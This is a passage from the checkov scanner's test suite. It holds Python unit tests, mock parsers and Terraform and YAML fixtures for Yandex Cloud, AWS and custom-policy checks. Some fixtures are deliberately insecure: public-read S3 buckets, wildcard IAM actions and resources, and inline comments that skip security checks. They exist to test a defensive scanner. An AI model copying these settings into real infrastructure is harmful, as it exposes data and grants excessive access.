     self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_MDBSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.MDBSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\nclass TestMDBSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_MDBSecurityGroup\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'yandex_mdb_postgresql_cluster.pass',\n            'yandex_mdb_sqlserver_cluster.pass',\n            'yandex_mdb_redis_cluster.pass',\n            'yandex_mdb_mysql_cluster.pass',\n            'yandex_mdb_mongodb_cluster.pass',\n            'yandex_mdb_kafka_cluster.pass',\n            'yandex_mdb_greenplum_cluster.pass',\n            'yandex_mdb_elasticsearch_cluster.pass',\n            'yandex_mdb_clickhouse_cluster.pass',\n        }\n        failing_resources = {\n            'yandex_mdb_postgresql_cluster.fail',\n            'yandex_mdb_sqlserver_cluster.fail',\n            'yandex_mdb_redis_cluster.fail',\n            'yandex_mdb_mysql_cluster.fail',\n            'yandex_mdb_mongodb_cluster.fail',\n            'yandex_mdb_kafka_cluster.fail',\n            'yandex_mdb_greenplum_cluster.fail',\n            'yandex_mdb_elasticsearch_cluster.fail',\n            'yandex_mdb_clickhouse_cluster.fail',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 9)\n        self.assertEqual(summary[\"failed\"], 9)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ObjectStorageBucketEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ObjectStorageBucketEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestObjectStorageBucketEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ObjectStorageBucketEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_storage_bucket.pass\"\n        }\n        failing_resources = {\n            \"yandex_storage_bucket.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ObjectStorageBucketPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ObjectStorageBucketPublicAccess import scanner\nfrom checkov.terraform.runner import Runner\n\nclass TestObjectStorageBucketPublicAccess(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ObjectStorageBucketPublicAccess\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_storage_bucket.pass\"\n        }\n        failing_resources = {\n            \"yandex_storage_bucket.fail-1\",\n            \"yandex_storage_bucket.fail-2\",\n            \"yandex_storage_bucket.fail-3\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_VPCSecurityGroupAllowAll.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.VPCSecurityGroupAllowAll import scanner\nfrom checkov.terraform.runner import Runner\n\nclass TestVPCSecurityGroupAllowAll(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_VPCSecurityGroupAllowAll\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_vpc_security_group.pass-1\",\n            \"yandex_vpc_security_group.pass-2\"\n        }\n        failing_resources = {\n            \"yandex_vpc_security_group.fail-1\",\n            \"yandex_vpc_security_group.fail-2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_VPCSecurityGroupRuleAllowAll.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.VPCSecurityGroupRuleAllowAll import scanner\nfrom checkov.terraform.runner import Runner\n\nclass TestVPCSecurityGroupRuleAllowAll(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_VPCSecurityGroupRuleAllowAll\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_vpc_security_group_rule.pass-1\",\n            \"yandex_vpc_security_group_rule.pass-2\",\n            \"yandex_vpc_security_group_rule.pass-3\",\n            \"yandex_vpc_security_group_rule.pass-4\"\n        }\n        failing_resources = {\n            \"yandex_vpc_security_group_rule.fail-1\",\n            \"yandex_vpc_security_group_rule.fail-2\",\n            \"yandex_vpc_security_group_rule.fail-3\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/terraform/terraform/resources/lock/fail.cdk.tf.json",
    "content": "{\n  \"terraform\": {\n    \"backend\": {\n      \"s3\": {\n        \"bucket\": \"example-bucket\",\n        \"encrypt\": true,\n        \"key\": \"path/to/state\",\n        \"profile\": \"example\",\n        \"region\": \"eu-central-1\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/terraform/terraform/resources/lock/pass.cdk.tf.json",
    "content": "{\n  \"terraform\": {\n    \"backend\": {\n      \"s3\": {\n        \"bucket\": \"example-bucket\",\n        \"dynamodb_table\": \"terraform-locks\",\n        \"encrypt\": true,\n        \"key\": \"path/to/state\",\n        \"profile\": \"example\",\n        \"region\": \"eu-central-1\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/terraform/terraform/resources/lock/unknown_partialconfig.tf",
    "content": "terraform {\n\n  required_version = \">= 1.7\"\n\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n      version = \"~> 5.0\"\n    }\n  }\n\n  backend \"s3\" {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/test_base_resource_check.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass TestWildcardEntities(unittest.TestCase):\n    def test_contains_unrendered_variable(self):\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"var.xyz\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"local.xyz\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"module.xyz\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"${var.xyz}\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"${local.xyz}\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"${module.xyz}\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"aws_ssm_parameter.secret.value\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"azuread_service_principal_password.gh_actions.value\"))\n        self.assertTrue(BaseResourceCheck._is_variable_dependant(\"lookup(var.https_listeners,\\\"protocol\\\",\\\"HTTPS\\\")\"))\n        self.assertFalse(BaseResourceCheck._is_variable_dependant(\"xyz\"))\n        self.assertFalse(BaseResourceCheck._is_variable_dependant(\"123\"))\n        self.assertFalse(BaseResourceCheck._is_variable_dependant(123))\n        self.assertFalse(BaseResourceCheck._is_variable_dependant(True))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/test_wildcard_entities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.checks.resource.registry import resource_registry as registry\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TerraformCheck(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Terraform test\"\n        id = \"CKV_T_1\"\n        supported_resources = ['aws_iam_*', 'null_resource', '*s3*']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        return CheckResult.PASSED\n\n\nclass TestWildcardEntities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        check = TerraformCheck()\n\n        test_files_dir = current_dir + \"/example_WildcardEntities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        registry.wildcard_checks['aws_iam_*'].remove(check)\n        registry.checks['null_resource'].remove(check)\n\n        registry.wildcard_checks['*s3*'].remove(check)\n        \n        del registry.checks['null_resource']\n        del registry.wildcard_checks['*s3*']\n        del registry.wildcard_checks['aws_iam_*']\n        # Only for resource and nof for data \"aws_iam_policy_document\"\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/context_parsers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/context_parsers/mock_context_parser.py",
    "content": "from checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass MockContextParser(BaseContextParser):\n    def __init__(self):\n        definition_type = 'mock'\n        self.definition_type = definition_type\n\n    def enrich_definition_block(self, definition_blocks):\n        \"\"\"\n        Enrich the context of a Terraform resource block\n        :param definition_blocks: Terraform resource block, key-value dictionary\n        :return: Enriched resource block context\n        \"\"\"\n        parsed_file_lines = self._filter_file_lines()\n\n        for i, mock_block in enumerate(definition_blocks):\n            mock_type = next(iter(mock_block.keys()))\n            mock_name = next(iter(mock_block[mock_type]))\n        if not self.context.get(mock_type):\n            self.context[mock_type] = {}\n        if not self.context.get(mock_type).get(mock_name):\n            self.context[mock_type][mock_name] = {}\n        for line_num, line in parsed_file_lines:\n            line_tokens = [x.replace('\"', \"\") for x in line.split()]\n            if all(x in line_tokens for x in ['mock', mock_type, mock_name]):\n                self.context[mock_type][mock_name][\"start_line\"] = 1\n                self.context[mock_type][mock_name][\"end_line\"] = 5\n                self.context[mock_type][mock_name][\"code_lines\"] = ['ABC', '123']\n        return self.context\n\n    def get_block_type(self):\n        return \"resource\"\n\n    def get_entity_context_path(self, entity_block):\n        entity_type = next(iter(entity_block.keys()))\n        entity_name = next(iter(entity_block[entity_type]))\n        return [entity_type, entity_name]\n"
  },
  {
    "path": "tests/terraform/context_parsers/mock_tf_files/inline_suppression.tf",
    "content": "resource \"aws_s3_bucket\" \"multi-line-multi-checks\" {\n  region        = \"var.region\"\n    #checkov:skip=CKV_AWS_93,CKV_AWS_21:Skip all\n    #checkov:skip=CKV_AWS_145:The bucket is a public static content host\n  bucket        = \"local.bucket_name\"\n  force_destroy = true\n  acl           = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"multi-line-no-comment\" {\n  region        = \"var.region\"\n    #checkov:skip=CKV_AWS_93:\n    #checkov:skip=CKV_AWS_145:The bucket is a public static content host\n  bucket        = \"local.bucket_name\"\n  force_destroy = true\n  acl           = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"one-line-one-check\" {\n  region        = \"var.region\"\n    #checkov:skip=CKV_AWS_145:The bucket is a public static content host\n  bucket        = \"local.bucket_name\"\n  force_destroy = true\n  acl           = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"one-line-multi-checks\" {\n  region        = \"var.region\"\n    #checkov:skip=CKV_AWS_93,CKV_AWS_145:skip all\n  bucket        = \"local.bucket_name\"\n  force_destroy = true\n  acl           = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"no-comment\" {\n  region = \"var.region\"\n  bucket = \"local.bucket_name\"\n  force_destroy = true\n  acl           = \"public-read\"\n}\n"
  },
  {
    "path": "tests/terraform/context_parsers/mock_tf_files/mock.tf",
    "content": "mock \"mock_type\" \"mock_name\" {\n# checkov:skip=CKV_AWS_19:aa\n# checkov:skip=CKV_AWS_20\n# bridgecrew:skip=BC_AWS_IAM_5:some-comment\n foo = \"bar\"\n}\n"
  },
  {
    "path": "tests/terraform/context_parsers/test_base_parser.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.context_parsers.parsers.resource_context_parser import ResourceContextParser\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.AMICopyUsesCMK import check\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.tf_parser import TFParser\nfrom tests.terraform.context_parsers.mock_context_parser import MockContextParser\n\nmock_tf_file = os.path.dirname(os.path.realpath(__file__)) + \"/mock_tf_files/mock.tf\"\nmock_definition = (mock_tf_file, {\"mock\": [{\"mock_type\": {\"mock_name\": {\"value\": [\"mock_value\"]}}}]})\n\ninline_tf_file = os.path.dirname(os.path.realpath(__file__)) + \"/mock_tf_files/inline_suppression.tf\"\nmock_dir_path = os.path.dirname(os.path.realpath(__file__)) + \"/mock_tf_files\"\n\n\nclass TestBaseParser(unittest.TestCase):\n    def test_enrich_definition_block(self):\n        this_integration = BcPlatformIntegration()\n        this_integration.get_public_run_config()\n        metadata_integration.bc_integration = this_integration\n        metadata_integration.pre_scan()\n        mock_parser = MockContextParser()\n        parser_registry.register(mock_parser)\n        definition_context = parser_registry.enrich_definitions_context(mock_definition)\n        skipped_checks = definition_context[mock_tf_file][\"mock\"][\"mock_type\"][\"mock_name\"].get(\"skipped_checks\")\n        self.assertIsNotNone(skipped_checks)\n        self.assertEqual(len(skipped_checks), 3)\n        # Ensure checkov IDs are mapped to BC IDs\n        self.assertEqual(skipped_checks[2][\"id\"], \"CKV_AWS_15\")\n        metadata_integration.bc_integration = bc_integration\n\n    def test__compute_definition_end_line_with_multi_curly_brackets(self):\n        # given\n        mock_parser = MockContextParser()\n        mock_parser.filtered_lines = [\n            (1, '#data \"aws_iam_policy_document\" \"null\" {}'),\n            (3, 'resource \"aws_subnet\" \"pub_sub\" {'),\n            (4, \"tags = merge({\"),\n            (5, 'Name = \"${var.network_name}-pub-sub-${element(var.azs, count.index)}\"'),\n            (6, 'Tier = \"public\"'),\n            (7, '}, var.tags, var.add_eks_tags ? { \"kubernetes.io/role/elb\" : \"1\" } : {})'),\n            (8, \"}\"),\n        ]\n        mock_parser.filtered_line_numbers = [1, 3, 4, 5, 6, 7, 8]\n\n        # when\n        end_line_num = mock_parser._compute_definition_end_line(3)\n\n        # then\n        self.assertEqual(8, end_line_num)\n\n    def test_inline_suppression(self):\n        parser = TFParser()\n        _, tf_definition = parser.parse_hcl_module(mock_dir_path,source='TERRAFORM')\n        resources_parser = ResourceContextParser()\n        parser_registry.register(resources_parser)\n        inline_key = TFDefinitionKey(inline_tf_file)\n        inline_suppression_definition = tf_definition[inline_key]\n        definition_context = parser_registry.enrich_definitions_context((inline_key,inline_suppression_definition))\n\n        aws_s3_bucket_resources = definition_context[inline_key][\"resource\"][\"aws_s3_bucket\"]\n\n        self.assertEqual(len(aws_s3_bucket_resources[\"multi-line-multi-checks\"].get(\"skipped_checks\")), 3)\n        self.assertEqual(len(aws_s3_bucket_resources[\"multi-line-no-comment\"].get(\"skipped_checks\")), 2)\n        self.assertEqual(len(aws_s3_bucket_resources[\"one-line-one-check\"].get(\"skipped_checks\")), 1)\n        self.assertEqual(len(aws_s3_bucket_resources[\"one-line-multi-checks\"].get(\"skipped_checks\")), 2)\n        self.assertEqual(len(aws_s3_bucket_resources[\"no-comment\"].get(\"skipped_checks\")), 0)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/context_parsers/test_locals_parser.py",
    "content": "import unittest\n\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.terraform.context_parsers.registry import parser_registry\nimport os\n\n\nclass TestLocalsContextParser(unittest.TestCase):\n\n    def setup_dir(self, rel_path):\n        test_root_dir = os.path.dirname(os.path.realpath(__file__)) + rel_path\n        parsing_errors = {}\n        definitions_context = {}\n        tf_definitions = TFParser().parse_directory(directory=test_root_dir,\n                                 out_parsing_errors=parsing_errors)\n        for definition in tf_definitions.items():\n            definitions_context = parser_registry.enrich_definitions_context(definition)\n        return definitions_context\n\n    def test_assignments_exists(self):\n        definitions_context = self.setup_dir('/../evaluation/resources/default_evaluation/')\n        file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/main.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        assignments = definitions_context[key]['locals']['assignments']\n        self.assertIsNotNone(assignments)\n\n        expected_assignments = {'dummy_with_dash': '${format(\"-%s\",var.dummy_1)}', 'dummy_with_comma': '${format(\":%s\",var.dummy_1)}', 'bucket_name': '${var.bucket_name}'}\n\n        for k, v in assignments.items():\n            self.assertEqual(expected_assignments[k], v)\n\n    def test_assignment_value(self):\n        definitions_context = self.setup_dir('/../evaluation/resources/locals_evaluation/')\n        file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/locals_evaluation/main.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        assignments = definitions_context[key]['locals'].get('assignments')\n        self.assertIsNotNone(assignments)\n        self.assertEqual(1, len(assignments.items()))\n        for k, v in assignments.items():\n            self.assertEqual(k, 'common_tags')\n            self.assertIsInstance(v, dict)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/context_parsers/test_parser_registry.py",
    "content": "import unittest\n\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom tests.terraform.context_parsers.mock_context_parser import MockContextParser\nimport os\n\nmock_definition = (os.path.dirname(os.path.realpath(__file__)) + '/mock_tf_files/mock.tf', {'mock': [\n    {\n        'mock_type': {\n            'mock_name': {\n                'value': [\n                    'mock_value']}}}\n]})\n\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def test_enrich_definition_block(self):\n        mock_parser = MockContextParser()\n        parser_registry.register(mock_parser)\n        definition_context = parser_registry.enrich_definitions_context(mock_definition)\n        self.assertIsNotNone(definition_context[mock_definition[0]]['mock']['mock_type']['mock_name'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/context_parsers/test_variable_context_parser.py",
    "content": "import unittest\n\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.terraform.context_parsers.registry import parser_registry\nimport os\n\n\nclass TestVariableContextParser(unittest.TestCase):\n    def setUp(self):\n        test_root_dir = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/'\n        parsing_errors = {}\n        tf_definitions = TFParser().parse_directory(directory=test_root_dir,\n                                  out_parsing_errors=parsing_errors)\n        for definition in tf_definitions.items():\n            definitions_context = parser_registry.enrich_definitions_context(definition)\n        self.definitions_context = definitions_context\n\n    def test_assignments_exists(self):\n        file_path = os.path.dirname(os.path.realpath(__file__))\\\n                    + '/../evaluation/resources/default_evaluation/variables.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        self.assertIsNotNone(\n            self.definitions_context[key][\n                'variable'].get(\n                'assignments'))\n\n    def test_assignment_value(self):\n        file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/variables.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        self.assertFalse(\n            self.definitions_context[key]['variable'].get(\n                'assignments').get('user_exists')\n        )\n\n        self.assertEqual(\n            self.definitions_context[key][\n                'variable'].get(\n                'assignments').get('app_client_id'), 'Temp')\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/context_parsers/test_variable_context_parser2.py",
    "content": "import unittest\n\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.terraform.context_parsers.registry import parser_registry\nimport os\n\n\nclass TestVariableContextParser(unittest.TestCase):\n    def setUp(self):\n        test_root_dir = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/'\n        parsing_errors = {}\n        tf_definitions = TFParser().parse_directory(directory=test_root_dir,\n                                 out_evaluations_context={},\n                                 out_parsing_errors=parsing_errors)\n        for definition in tf_definitions.items():\n            definitions_context = parser_registry.enrich_definitions_context(definition)\n        self.definitions_context = definitions_context\n\n    def test_assignments_exists(self):\n        file_path = os.path.dirname(os.path.realpath(__file__))\\\n                    + '/../evaluation/resources/default_evaluation/variables.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        self.assertIsNotNone(\n            self.definitions_context[key][\n                'variable'].get(\n                'assignments'))\n\n    def test_assignment_value(self):\n        file_path = os.path.dirname(os.path.realpath(__file__)) + '/../evaluation/resources/default_evaluation/variables.tf'\n        key = TFDefinitionKey(file_path=file_path, tf_source_modules=None)\n        self.assertFalse(\n            self.definitions_context[key][\n                'variable'].get(\n                'assignments').get('user_exists')\n        )\n\n        self.assertEqual(\n            self.definitions_context[key][\n                'variable'].get(\n                'assignments').get('app_client_id'), 'Temp')\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/evaluation/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/evaluation/resources/default_evaluation/main.tf",
    "content": "locals {\n  dummy_with_dash      = format(\"-%s\", var.dummy_1)\n  dummy_with_comma     = format(\":%s\", var.dummy_1)\n  bucket_name          = var.bucket_name\n}\n\nresource \"aws_cognito_user_group\" \"user_group\" {\n  name         = \"${var.customer_name}_group\"\n  description  = \"${var.customer_name} user group\"\n  user_pool_id = var.user_pool_id\n}\n\nresource \"null_resource\" \"create_cognito_user\" {\n  count = var.user_exists ? 0 : 1\n  triggers = {\n    build_number = var.user_email\n  }\n\n  provisioner \"local-exec\" {\n    command = \"aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}\"\n  }\n}\n\ndata \"aws_iam_policy_document\" \"event_stream_bucket_role_assume_role_policy\" {\n  statement {\n    actions = [var.action]\n\n    resources = [\n      \"*\",\n      \"abc\"\n    ]\n    principals {\n      type        = \"Service\"\n      identifiers = [\"firehose.amazonaws.com\"]\n    }\n\n    principals {\n      type        = \"AWS\"\n      identifiers = var.trusted_role_arn\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/evaluation/resources/default_evaluation/variables.tf",
    "content": "variable \"customer_name\" {\n  default = \"Pavel_Checkov\"\n}\n\nvariable \"user_email\" {\n  default = \"checkov@bridgecrew.io\"\n}\n\nvariable \"bucket_name\" {\n  default = \"MyBucket\"\n}\n\nvariable \"acl\" {\n  default = \"public-acl\"\n}\n\nvariable \"action\" {\n  default = \"*\"\n}\n\nvariable \"trusted_role_arn\" {\n  default = \"aws:arn:xxx:xxx\"\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"app_client_id\" {\n  description = \"Indicates whether the app client has been created\"\n  default = \"Temp\"\n}\n\nvariable \"user_pool_id\" {\n  default = \"123\"\n}\n\nvariable \"aws_profile\" {\n  default = \"default\"\n}\n\nvariable \"dummy_1\" {\n  default = \"dummy_1\"\n}\n\nvariable\"user_exists\"{\n  default = false\n}"
  },
  {
    "path": "tests/terraform/evaluation/resources/locals_evaluation/main.tf",
    "content": "locals = {\n  common_tags = {\n    Env = \"dev\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks/custom_policies/CustomAwsEMRSecurityConfiguration.yaml",
    "content": "metadata:\n name: \"Elastic Testing\"\n category: \"general\"\n id: \"emrbackup1\"\n guidelines: \"testing\"\n severity: \"high\"\nscope:\n  provider: \"aws\"\ndefinition:\n  or:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      operator: \"within\"\n      value:\n        - \"aws_emr_cluster\"\n    - or:\n        - cond_type: \"connection\"\n          resource_types:\n            - \"aws_emr_cluster\"\n          connected_resource_types:\n            - \"aws_emr_security_configuration\"\n          operator: \"not_exists\"\n        - and:\n            - cond_type: \"connection\"\n              resource_types:\n                - \"aws_emr_cluster\"\n              connected_resource_types:\n                - \"aws_emr_security_configuration\"\n              operator: \"exists\"\n            - cond_type: attribute\n              resource_types:\n                - aws_emr_security_configuration\n              attribute: configuration.EncryptionConfiguration.EnableInTransitEncryption\n              operator: equals\n              value: true"
  },
  {
    "path": "tests/terraform/graph/checks/custom_policies/CustomPolicy1.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  scope:\n  provider: \"aws\"\n  id: \"CKV2_AWS_888\"\ndefinition:\n  and:\n      - cond_type: \"connection\"\n        resource_types:\n              - \"aws_sqs_queue_policy\"\n        connected_resource_types:\n              - \"aws_sqs_queue\"\n        operator: \"exists\"\n      - cond_type: \"filter\"\n        attribute: \"resource_type\"\n        operator: \"within\"\n        value: \"aws_sqs_queue\"\n      - cond_type: \"attribute\"\n        resource_types:\n              - \"aws_sqs_queue_policy\"\n        attribute: \"policy.Statement[?(@.Effect == 'Allow' & @.Principal == '*')]\"\n        operator: \"jsonpath_not_exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n              - \"aws_sqs_queue_policy\"\n        attribute: \"policy.Statement[?(@.Effect == 'Allow')].Principal.AWS[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"*\"\n      - cond_type: \"attribute\"\n        resource_types:\n              - \"aws_sqs_queue_policy\"\n        attribute: \"policy.Statement[?(@.Effect == 'Allow')].NotPrincipal\"\n        operator: \"jsonpath_not_exists\""
  },
  {
    "path": "tests/terraform/graph/checks/custom_policies/CustomPolicy2.yaml",
    "content": "metadata:\n  name: \"Tests resource_types value to be a string\"\n  id: \"CUSTOM_2\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: \"aws_sqs_queue\"\n  attribute: \"delay_seconds\"\n  operator: \"equals\"\n  value: 900\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ACMWildcardDomainName/expected.yaml",
    "content": "pass:\n    - \"aws_acm_certificate.example_pass\"\n    - \"aws_acm_certificate.example_pass2\"\n\nfail:\n    - \"aws_acm_certificate.example_fail\"\n    - \"aws_acm_certificate.example_fail_bad_subject\"\n    - \"aws_acm_certificate.example_fail_bad_domain\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/ACMWildcardDomainName/main.tf",
